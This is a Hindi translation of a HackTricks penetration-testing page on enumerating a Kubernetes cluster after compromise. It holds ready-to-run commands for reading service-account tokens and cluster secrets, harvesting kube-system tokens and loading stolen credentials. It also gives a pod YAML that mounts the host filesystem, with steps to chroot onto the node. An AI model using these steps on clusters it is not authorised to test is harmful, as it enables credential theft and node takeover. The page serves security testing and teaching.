Kubernetes Enumeration

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Kubernetes Tokens

यदि आपने किसी मशीन की पहुंच को समझौता किया है, तो उपयोगकर्ता के पास किसी Kubernetes प्लेटफॉर्म तक पहुंच हो सकती है। टोकन आमतौर पर env var KUBECONFIG द्वारा इंगित फ़ाइल में या ~/.kube के अंदर स्थित होता है।

इस फ़ोल्डर में आपको टोकन और API सर्वर से जुड़ने के लिए कॉन्फ़िगरेशन वाली कॉन्फ़िग फ़ाइलें मिल सकती हैं। इस फ़ोल्डर में आपको पहले से प्राप्त जानकारी वाला एक कैश फ़ोल्डर भी मिल सकता है।

यदि आपने किसी Kubernetes वातावरण के अंदर किसी पॉड को समझौता किया है, तो अन्य स्थानों पर आपको टोकन और वर्तमान K8 वातावरण के बारे में जानकारी मिल सकती है:

Service Account Tokens

आगे बढ़ने से पहले, यदि आपको नहीं पता कि Kubernetes में सर्विस क्या है, तो मैं आपको सुझाव दूंगा कि इस लिंक का अनुसरण करें और कम से कम Kubernetes आर्किटेक्चर के बारे में जानकारी पढ़ें।

Kubernetes दस्तावेज़ीकरण से लिया गया:

“जब आप एक पॉड बनाते हैं, यदि आप कोई सर्विस अकाउंट निर्दिष्ट नहीं करते हैं, तो यह स्वचालित रूप से उसी नेमस्पेस में default सर्विस अकाउंट को असाइन किया जाता है।”

ServiceAccount एक ऑब्जेक्ट है जिसे Kubernetes द्वारा प्रबंधित किया जाता है और इसका उपयोग पॉड में चलने वाली प्रक्रियाओं के लिए एक पहचान प्रदान करने के लिए किया जाता है। हर सर्विस अकाउंट के पास एक सीक्रेट होता है और इस सीक्रेट में एक बियरर टोकन होता है। यह एक JSON Web Token (JWT) है, जो दो पक्षों के बीच सुरक्षित रूप से दावों को प्रस्तुत करने की एक विधि है।

आमतौर पर एक निर्देशिका:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

फ़ाइलें होती हैं:

  • ca.crt: यह कुबेरनेट्स संचार की जांच के लिए ca प्रमाणपत्र है

  • namespace: यह वर्तमान नेमस्पेस को इंगित करता है

  • token: इसमें वर्तमान पॉड का सर्विस टोकन होता है।

अब जब आपके पास टोकन है, तो आप पर्यावरण चर KUBECONFIG के अंदर API सर्वर पा सकते हैं। अधिक जानकारी के लिए (env | set) | grep -i "kuber|kube" चलाएं।

सर्विस अकाउंट टोकन sa.key फ़ाइल में रहने वाली कुंजी द्वारा हस्ताक्षरित होता है और sa.pub द्वारा मान्य किया जाता है।

Kubernetes पर डिफ़ॉल्ट स्थान:

  • /etc/kubernetes/pki

Minikube पर डिफ़ॉल्ट स्थान:

  • /var/lib/localkube/certs

Hot Pods

Hot pods वे पॉड होते हैं जिनमें एक विशेषाधिकार प्राप्त सर्विस अकाउंट टोकन होता है। एक विशेषाधिकार प्राप्त सर्विस अकाउंट टोकन एक ऐसा टोकन होता है जिसके पास विशेषाधिकार प्राप्त कार्य करने की अनुमति होती है, जैसे कि सीक्रेट्स की सूची बनाना, पॉड्स बनाना, आदि।

RBAC

यदि आपको नहीं पता कि RBAC क्या है, इस खंड को पढ़ें

Enumeration CheatSheet

K8s वातावरण का अनुक्रमण करने के लिए आपको इसकी आवश्यकता होती है:

  • एक मान्य प्रमाणीकरण टोकन। पिछले खंड में हमने देखा कि उपयोगकर्ता टोकन और सर्विस अकाउंट टोकन कहां खोजना है।

  • Kubernetes API का पता (https://host:port)। यह आमतौर पर पर्यावरण चरों और/या कुबे कॉन्फ़िग फ़ाइल में पाया जा सकता है।

  • वैकल्पिक: API सर्वर को सत्यापित करने के लिए ca.crt। यह उसी स्थानों पर पाया जा सकता है जहां टोकन पाया जा सकता है। यह API सर्वर प्रमाणपत्र को सत्यापित करने के लिए उपयोगी है, लेकिन kubectl के साथ --insecure-skip-tls-verify या curl के साथ -k का उपयोग करते समय आपको इसकी आवश्यकता नहीं होगी।

उन विवरणों के साथ आप kubernetes का अनुक्रमण कर सकते हैं। यदि API किसी कारण से इंटरनेट के माध्यम से सुलभ है, तो आप बस उस जानकारी को डाउनलोड कर सकते हैं और अपने होस्ट से प्लेटफॉर्म का अनुक्रमण कर सकते हैं।

हालांकि, आमतौर पर API सर्वर एक आंतरिक नेटवर्क के अंदर होता है, इसलिए आपको अपनी मशीन से इसे एक्सेस करने के लिए एक टनल बनाने की आवश्यकता होगी, या आप kubectl बाइनरी अपलोड कर सकते हैं, या API सर्वर को कच्चे HTTP अनुरोधों को प्रदर्शित करने के लिए curl/wget/anything का उपयोग कर सकते हैं।

list और get क्रियाओं के बीच अंतर

get अनुमतियों के साथ आप विशिष्ट संपत्तियों की जानकारी तक पहुंच सकते हैं (kubectl में describe विकल्प) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

यदि आपके पास list अनुमति है, तो आपको एक प्रकार की संपत्ति की सूची बनाने के लिए API अनुरोध करने की अनुमति है (get विकल्प kubectl में):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

यदि आपके पास watch अनुमति है, तो आपको संपत्तियों की निगरानी के लिए API अनुरोध करने की अनुमति है:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

वे एक स्ट्रीमिंग कनेक्शन खोलते हैं जो आपको एक Deployment की पूरी मेनिफेस्ट वापस करता है जब भी वह बदलती है (या जब एक नई बनाई जाती है)।

निम्नलिखित kubectl कमांड्स यह दर्शाते हैं कि ऑब्जेक्ट्स को कैसे सूचीबद्ध किया जाए। यदि आप डेटा तक पहुँचना चाहते हैं तो आपको get के बजाय describe का उपयोग करना होगा

curl का उपयोग करते हुए

एक पॉड के अंदर से आप कई env वेरिएबल्स का उपयोग कर सकते हैं:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

डिफ़ॉल्ट रूप से पॉड kube-api सर्वर तक पहुँच सकता है जो डोमेन नाम kubernetes.default.svc में होता है और आप kube नेटवर्क को /etc/resolv.config में देख सकते हैं क्योंकि यहाँ आपको kubernetes DNS सर्वर का पता मिलेगा (वही रेंज का ".1" kube-api एंडपॉइंट है)।

kubectl का उपयोग करना

टोकन और API सर्वर के पते के होने पर आप kubectl या curl का उपयोग करके इसे पहुँच सकते हैं जैसा कि यहाँ दर्शाया गया है:

डिफ़ॉल्ट रूप से, APISERVER https:// स्कीमा के साथ संवाद कर रहा है

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

यदि url में https:// नहीं है, तो आपको Bad Request जैसी Error मिल सकती है।

आप आधिकारिक kubectl चीटशीट यहाँ पा सकते हैं। निम्नलिखित खंडों का उद्देश्य विभिन्न विकल्पों को क्रमबद्ध तरीके से प्रस्तुत करना है ताकि आप नए K8s तक प्राप्त की गई पहुँच को समझ सकें और उसका अन्वेषण कर सकें।

kubectl द्वारा भेजे गए HTTP अनुरोध को जानने के लिए आप पैरामीटर -v=8 का उपयोग कर सकते हैं।

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

वर्तमान कॉन्फ़िगरेशन

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

यदि आप कुछ उपयोगकर्ताओं की साख चुराने में सफल हो जाते हैं, तो आप उन्हें स्थानीय रूप से कॉन्फ़िगर कर सकते हैं, जैसे कि:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

समर्थित संसाधन प्राप्त करें

इस जानकारी के साथ आपको पता चलेगा कि आप कौन सी सेवाएँ सूचीबद्ध कर सकते हैं

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

वर्तमान विशेषाधिकार प्राप्त करें

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

आपकी विशेषाधिकारों की जांच करने का एक और तरीका है उपकरण का उपयोग करना: https://github.com/corneliusweig/rakkess****

आप Kubernetes RBAC के बारे में और जान सकते हैं:

pageKubernetes Role-Based Access Control(RBAC)

एक बार जब आप जान जाते हैं कि आपके पास कौन से विशेषाधिकार हैं, तो निम्नलिखित पृष्ठ की जांच करें कि क्या आप उनका दुरुपयोग करके विशेषाधिकारों को बढ़ा सकते हैं:

pageAbusing Roles/ClusterRoles in Kubernetes

अन्य भूमिकाएँ प्राप्त करें

k get roles
k get clusterroles

नेमस्पेस प्राप्त करें

Kubernetes एक ही भौतिक क्लस्टर द्वारा समर्थित एकाधिक वर्चुअल क्लस्टर्स का समर्थन करता है। इन वर्चुअल क्लस्टर्स को नेमस्पेस कहा जाता है।

k get namespaces

रहस्य प्राप्त करें

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

यदि आप secrets पढ़ सकते हैं तो आप प्रत्येक token से संबंधित विशेषाधिकार प्राप्त करने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

सर्विस अकाउंट्स प्राप्त करें

इस पृष्ठ की शुरुआत में चर्चा की गई थी कि जब एक पॉड चलाया जाता है तो आमतौर पर उसे एक सर्विस अकाउंट असाइन किया जाता है। इसलिए, सर्विस अकाउंट्स की सूची बनाना, उनकी अनुमतियां और वे कहाँ चल रहे हैं, यह जानना एक उपयोगकर्ता को अधिकारों को बढ़ाने में मदद कर सकता है।

k get serviceaccounts

डिप्लॉयमेंट्स प्राप्त करें

डिप्लॉयमेंट्स उन कॉम्पोनेंट्स को निर्दिष्ट करते हैं जिन्हें चलाने की आवश्यकता होती है।

.k get deployments
k get deployments -n custnamespace

पॉड्स प्राप्त करें

पॉड्स वास्तविक कंटेनर होते हैं जो चलेंगे

k get pods
k get pods -n custnamespace

सेवाएं प्राप्त करें

Kubernetes सेवाएं का उपयोग एक विशिष्ट पोर्ट और IP पर सेवा को प्रकट करने के लिए किया जाता है (जो वास्तव में सेवा प्रदान करने वाले पॉड्स के लिए लोड बैलेंसर के रूप में काम करेगा)। यह जानना दिलचस्प है कि आप अन्य सेवाओं को कहां पा सकते हैं जिन पर आक्रमण करने का प्रयास किया जा सकता है।

k get services
k get services -n custnamespace

नोड्स प्राप्त करें

क्लस्टर के अंदर कॉन्फ़िगर किए गए सभी नोड्स प्राप्त करें।

k get nodes

DaemonSets प्राप्त करें

DaemonSets यह सुनिश्चित करने की अनुमति देता है कि विशिष्ट पॉड सभी नोड्स में चल रहा है क्लस्टर के (या चुने हुए वालों में)। यदि आप DaemonSet को हटा देते हैं, तो उसके द्वारा प्रबंधित पॉड्स भी हटा दिए जाएंगे।

k get daemonsets

क्रॉनजॉब प्राप्त करें

क्रॉन जॉब्स आपको क्रॉनटैब जैसे सिंटैक्स का उपयोग करके एक पॉड के लॉन्च को शेड्यूल करने की अनुमति देते हैं, जो कुछ कार्रवाई करेगा।

k get cronjobs

configMap प्राप्त करें

configMap हमेशा बहुत सारी जानकारी और configfile को संग्रहीत करता है जो कि Kubernetes में चलने वाले apps को प्रदान किया जाता है। आमतौर पर आपको बहुत सारे पासवर्ड, सीक्रेट्स, टोकन मिल सकते हैं जो अन्य आंतरिक/बाहरी सेवाओं से जुड़ने और मान्य करने के लिए उपयोग किए जाते हैं।

k get configmaps # -n namespace
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

"सभी" प्राप्त करें

k get all

पॉड्स की खपत प्राप्त करें

k top pod --all-namespaces

पॉड से बाहर निकलना

यदि आप नए पॉड्स बनाने में सक्षम हैं, तो आप उनसे नोड की ओर बाहर निकल सकते हैं। ऐसा करने के लिए आपको एक yaml फाइल का उपयोग करके एक नया पॉड बनाना होगा, बनाए गए पॉड पर स्विच करना होगा और फिर नोड के सिस्टम में chroot करना होगा। आप yaml फाइल के लिए पहले से मौजूद पॉड्स का उपयोग संदर्भ के रूप में कर सकते हैं क्योंकि वे मौजूदा इमेजेज और पथों को प्रदर्शित करते हैं।

kubectl get pod <name> [-n <namespace>] -o yaml

यदि आपको विशिष्ट नोड पर पॉड बनाने की आवश्यकता है, तो आप नोड पर लेबल्स प्राप्त करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं

k get nodes --show-labels

आमतौर पर, kubernetes.io/hostname और node-role.kubernetes.io/master चयन के लिए अच्छे लेबल होते हैं।

फिर आप अपनी attack.yaml फाइल बनाते हैं

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
[मूल yaml स्रोत](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)

उसके बाद आप पॉड बनाते हैं
kubectl apply -f attacker.yaml [-n <namespace>]

अब आप निम्नानुसार बनाए गए पॉड पर स्विच कर सकते हैं

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

और अंत में आप नोड के सिस्टम में chroot करते हैं

chroot /root /bin/bash

से प्राप्त जानकारी: Kubernetes Namespace Breakout using Insecure Host Path Volume — भाग 1 Kubernetes पर हमला और बचाव: Bust-A-Kube – एपिसोड 1

संदर्भ

AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated